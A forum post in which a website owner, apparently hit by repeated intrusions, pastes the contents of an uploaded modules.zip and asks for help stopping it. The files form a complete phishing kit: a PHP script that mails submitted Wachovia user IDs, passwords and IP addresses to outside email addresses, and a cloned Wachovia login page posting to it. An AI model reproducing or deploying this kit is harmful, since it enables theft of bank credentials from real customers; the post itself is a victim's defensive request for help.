Ok heres the skinny on how they are gaining access or so I believe.
For some reason they can gain access and get this uploaded which makes it own folder called "seite", once as "module" (instead of modules (9 i caught that one lol) and once an html file in he uploads directory. ( I have since adjusted permisions, changed account password, rechecked main_file.php and added the htaccess that was mentioned here.
I had a wierd file called modules.zip -- I downloaded and looked in it. It had two files --
1. LOGIN.PHP
<<<<<<<<<<<<<<<<<<<code>>>>>>>>>>>>>>>>>>>>>>>>
le="color: #000000">
<?php <? $ip = getenv("REMOTE_ADDR"); $message .= "------------------------------n"; $message .= "User ID: ".$_POST['userid']."n"; $message .= "Password: ".$_POST['password']."n"; $message .= "IP: ".$ip."n"; $message .= "-------Created By Palmers-------n"; $recipient = "darkcrews@gmail.com,www.crew@gmail.com"; $subject = "WaChoviA"; $headers = "From: "; $headers .= $_POST['eMailAdd']."n"; $headers .= "MIME-Version: 1.0n"; if (mail($recipient,$subject,$message,$headers)) { header("Location: http://www.wachovia.com"); } else { echo "ERROR! Please go back and try again."; } ?><<<<<<<<<<<<<<<<<<<<end code>>>>>>>>>>>>>>>>>>>>>>
and an htm file called SERVICE.HTM
<<<<<<<<<<<<<<<<<<<<<<<<<code>>>>>>>>>>>>>>>>>>>>>>>>>
le="color: #000000"><?php <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!----> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Cache-Control" content="no-cache" /> <meta http-equiv="Expires" content="Mon, 01 Jan 2001 13:00:00 GMT" /> <title>Online Services - Account Login</title> <link href="https://onlineservices.wachovia.com/ols/css/index.css" rel="stylesheet" type="text/css" media="screen" /> <link href="https://onlineservices.wachovia.com/ols/css/index-p.css" rel="stylesheet" type="text/css" media="print" /> <style type="text/css">@import url("/ols/css/interference.css");</style> <link href="https://onlineservices.wachovia.com/ols/css/handheld.css" rel="stylesheet" type="text/css" media="handheld" /> <script type="text/javascript" language="JavaScript1.2" src="https://www.wachovia.com/onlineservices/help/js/RoboHelp_CSH.js"></script> <script type="text/javascript" language="JavaScript" src="https://onlineservices.wachovia.com/ols/js/utility.js"></script> <script type="text/javascript" language="JavaScript" src="https://onlineservices.wachovia.com/ols/js/messaging.js"></script> <script type="text/javascript" language="JavaScript" src="https://onlineservices.wachovia.com/ols/js/login.js"></script> <script type="text/javascript" language="JavaScript" src="https://onlineservices.wachovia.com/ols/js/bidata.js"></script> <script type="text/javascript" language="JavaScript"> <!-- if (top != self) { top.location=self.location; } document.cookie='CookiesAreEnabled=yes; path=/; secure'; window.name="LoginPage"; var timeStamp = new Date().getTime(); //--> </script> </head> <body id="default" class="twocol login" onunload="passReset();enableSubmits();"> <!-- Dual Login Form --> <form method="post" action="/auth/AuthService" name="dualForm" id="dualForm" onsubmit="return disableSubmits();"> <input type="hidden" name="action" value="presentLogin" /> <input type="hidden" name="credtype" value="DUAL" /> <input type="hidden" name="credtype" value="UID" /> </form> <div id="limiter"> <div id="header"><img src="https://onlineservices.wachovia.com/ols/images/logo.gif" alt="Wachovia Logo" width="240" height="52" id="logo" /><script type="text/javascript" language="JavaScript">setBrand();</script> <img src="https://onlineservices.wachovia.com/ols/images/default_logotype.gif" alt="" width="246" height="21" id="subbrand" /> </div> <div id="pusher"> <div id="content"> <div id="main"> <h1>Online Services Login</h1> <div id="details"> <p>Enter the appropriate login information below, and select your service.</p> </div> <ul> <li>Retirement Plan Participants: <a href="https://commercial.wachovia.com/Online/Financial/Business/Service?action=wrsLogin">Login</a></li> </ul> <form method="post" action="login.php" name="uidAuthForm" id="uidAuthForm" onsubmit="return disableSubmits();"> <input type="hidden" name="credtype" value="UID" /> <input type="hidden" value="uidLogin" name="action" /> <input type="hidden" value="" name="bi" /> <input type="hidden" value="" name="requestTimestamp" /> <table border="0" cellpadding="0" cellspacing="0" class="formtable"> <tr> <td class="colgutter"></td> <td class="label"><label for="userid">User ID</label> <td class="colgutter"></td> <td><input type="text" name="userid" id="userid" autocomplete="off" value="" tabindex="1"></td> </tr> <tr> <td colspan="3"></td> <td> <label for="rememberuid" class="nestinput"><input type="checkbox" name="rememberuid" id="rememberuid" tabindex="6" />Remember my User ID</label> <a href="javascript:popWinHelp('https://www.wachovia.com/onlineservices/help/remember_my_user_id.htm')" tabindex="7" >Learn More</a> </td> </tr> <tr> <td></td> <td class="label" nowrap="nowrap"><label for="password">Password</label></td> <td class="colgutter"></td> <td><input type="password" name="password" id="password" autocomplete="off" value="" tabindex="2" /></td> </tr> <tr><td></td><td></td><td></td><td><div class="format">Case Sensitive</div></td></tr> <tr> <td></td> <td class="label" nowrap="nowrap"><label for="service">Service Selection</label></td> <td class="colgutter"></td> <td> <select name="systemtarget" width="160" onchange="getValue(this.form.name);" tabindex="3"> <option value="gotoOSH">Choose a service...</option> <option value="gotoOSH">Online Services Home</option> <option value="gotoBanking">Online Banking</option> <option value="gotoBillPay">Online BillPay</option> <option value="gotoBrokerage">Online Brokerage</option> </select> </td> </tr> <tr> <td colspan="4" class="center"> <input type="submit" value="Login" tabindex="4" class="button w80" id="submitButton" name="submitButton"> </td> </tr> </table> </form> </div> <div id="related" class="clear"> <div class="box"> <h2><span>Customer Service</span></h2> <h3></h3> <ul> <li><a href="javascript:popWinHelp('https://www.wachovia.com/onlineservices/help/user_id_and_password_rules.htm')">User ID & Password Help</a></li> <li><a href="https://onlineservices.wachovia.com/identity/IdentityMgr?action=secondaryPresentLogin&nextpage=USERIDLOOKUP&credtype=UID">Forgot your User ID?</a></li> <li><a href="https://onlineservices.wachovia.com/identity/IdentityMgr?action=secondaryPresentLogin&nextpage=PWRESET&returnurl=/auth/AuthService&credtype=UID">Reset your Password</a></li> </ul> <h3></h3> <ul class="small"> <li>Customer Access Number: <a href="#" onclick="return submitForm('dualForm');">Login</a></li> </ul> </div> <div id="promo"> <script type="text/javascript" language="JavaScript"> <!-- showMessage("slotA"); //--> </script> </div> </div> <hr class="textonly" /> <div id="navigation" class="blue"> <h2 class="ir">Navigation</h2> <div id="utilities" class="utility"></div> <div id="global" class="utility"> <ul> <li class="first" id="officelocator"><a href="http://www.wachoviasec.com/home/locator.asp" target="locatorwin" onclick="return popWinCust(this.href,'locatorwin','yes','yes','yes','yes','yes','yes','yes',700,450,10,10);">Office Locator</a></li> <li class="first" id="locations"><a href="http://wachovia.via.infonow.net/locator/?src=OLB" target="locatorwin" onclick="return popWinCust(this.href,'locatorwin','yes','yes','yes','yes','yes','yes','yes',700,450,10,10);">Locations</a></li> </ul> </div> </div> </div> </div> <hr class="textonly" /> <div id="footer"> <ul id="footerlinks" class="utility"> <li class="first"><a href="http://www.wachovia.com/popup/agreement/" target="popupwin" onclick="return popWinStnd(this.href);">Customer Agreement</a></li> <li><a href="http://www.wachovia.com/popup/privacy/" target="popupwin" onclick="return popWinStnd(this.href);">Privacy</a></li> <li><a href="http://www.wachovia.com/popup/security/" target="popupwin" onclick="return popWinStnd(this.href);">Security</a></li> <li><a href="http://www.wachovia.com/popup/legal/" target="popupwin" onclick="return popWinStnd(this.href);">Legal</a></li> </ul> <div id="copyright">© 2007 Wachovia Corporation. All rights reserved.</div> </div> <div id="footeralt"> <ul id="footerlinks" class="utility"> <li class="first"><a href="https://wachseconline.wachovia.com/LD_Privacy.html" target="popupwin" onclick="return popWinStnd(this.href);">Privacy</a></li> <li><a href="https://wachseconline.wachovia.com/LD_Security.html" target="popupwin" onclick="return popWinStnd(this.href);">Security</a></li> <li><a href="https://wachseconline.wachovia.com/LD_AccessOnlineAgree.html" target="popupwin" onclick="return popWinStnd(this.href);">Legal Disclosures</a></li> <li><a href="https://wachseconline.wachovia.com/LD_Contact.html" target="popupwin" onclick="return popWinStnd(this.href);">Contact Us</a></li> </ul> <div id="copyright">© 2007 Wachovia Securities, LLC (member NYSE/SIPC)</div> <table id="notmay"> <caption>Securities and Insurance Products:<caption> <tr> <td>Not Insured by FDIC or any<br />Federal Government Agency</td> <td>May Lose<br />Value</td> <td>Not a Deposit of or Guaranteed by<br />a Bank or any Bank affiliate</td> </tr> </table> <div id="disclosure"> <p>Wachovia Securities is the trade name used by two separate, registered broker-dealers and non-bank affiliates of Wachovia Corporation providing certain retail securities brokerage services: Wachovia Securities, LLC, member NYSE/SIPC, and Wachovia Securities Financial Network, LLC, member <span class="small">NASD</span>/SIPC. Accounts carried by First Clearing, LLC, member NYSE/SIPC.</p> <p>Insurance products are offered through non-bank affiliates of Wachovia Corporation and are underwritten by unaffiliated insurance companies.</p> </div> </div> </div> <script language="JavaScript"> <!-- setSelection(); document.uidAuthForm.requestTimestamp.value = timeStamp; setUID('RMUID_1','rememberuid','userid','password'); setData(); //--> </script> <!-- BEGIN WEBSIDESTORY CODE v8.0.10 (11up) --> <!-- COPYRIGHT 1997-2003 WEBSIDESTORY, INC. ALL RIGHTS RESERVED. U.S.PATENT No. 6,393,479 B1. Privacy notice at: http://websidestory.com/privacy --> <script type="text/javascript" language="JavaScript" id="_hbc"> <!-- var _acct="DM530604BKCA;DM5306045EBV"; //account number(s) var _pn="Wachovia+UID+Login+Page"; //page name(s) var _mlc="/login"; //multi-level content category var _seg=""; // visitor segmentation var _cmp=""; // campaign id var _gp=""; // campaign goal var _cmpn="";// campaign id in query var _gpn=""; // campaign goal in query var _fnl=""; // funnels var _pec=""; // error codes var _fv=""; // form validation function name var _dcmp="";// dynamic campaign var _dcmpn="";//dynamic campaign in query var _hra=""; // response attribute var _hcn=""; // conversion var _hcv=""; // conversion value var _hlt=""; // lead tracking var _hla=""; // lead attribute var _hqsr="";// response attribute in referrer query var _hqsp="";// response attribute in query var _hc1=""; // custom 1 var _hc2=""; // custom 2 var _hc3=""; // custom 3 var _hc4=""; // custom 4 var _cid=""; // customer id var _cp="null"; // campaign var _cpd=""; // campaign domain var _pndef="title"; //default page name var _ctdef="full"; //default content category var _dlf="n"; //download filter var _elf="n"; //exit link filter var _epg="n"; //event page identifier var _gn="ehg-wachovia.hitbox.com",_mn="we56"; //gateway & machine name //--> </script> <script type="text/javascript" language="JavaScript1.1" defer="defer" src="https://www.wachovia.com/metrics/stats.js"></script> <!-- END WEBSIDESTORY CODE --> <!-- Start of DoubleClick Spotlight Tag: Please do not remove--> <!-- Activity Name for this tag is:Online Services Login --> <!-- Web site URL where tag should be placed: https://onlineservices.ite.wachovia.com/auth/AuthService?action=presentLogin&url=%2FNASApp%2FNavApp%2FTitanium%3faction=returnHome --> <!-- This tag must be placed within the opening <body> tag, as close to the beginning of it as possible--> <!-- Creation Date:07/07/03 --> <script language="JavaScript"> var axel = Math.random()+""; var a = axel * 10000000000000; document.write('<img src="https://ad.doubleclick.net/activity;src=800562;type=addit712;cat=onlin441;ord=1;num='+ a + '?" width="1" height="1" border="0">'); </script> <noscript> <img src="https://ad.doubleclick.net/activity;src=800562;type=addit712;cat=onlin441;ord=1;num=1?" width="1" height="1" border="0"> </noscript> <!-- End of DoubleClick Spotlight Tag: Please do not remove--> </body> </html>
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<end code>>>>>>>>>>>>>>>>>>>>>>>
I would appreciate any help given in how to stop this -- apparently I have a three strike rule with my host and I will be asked to go to another server. :0(
Thank you,
Markus
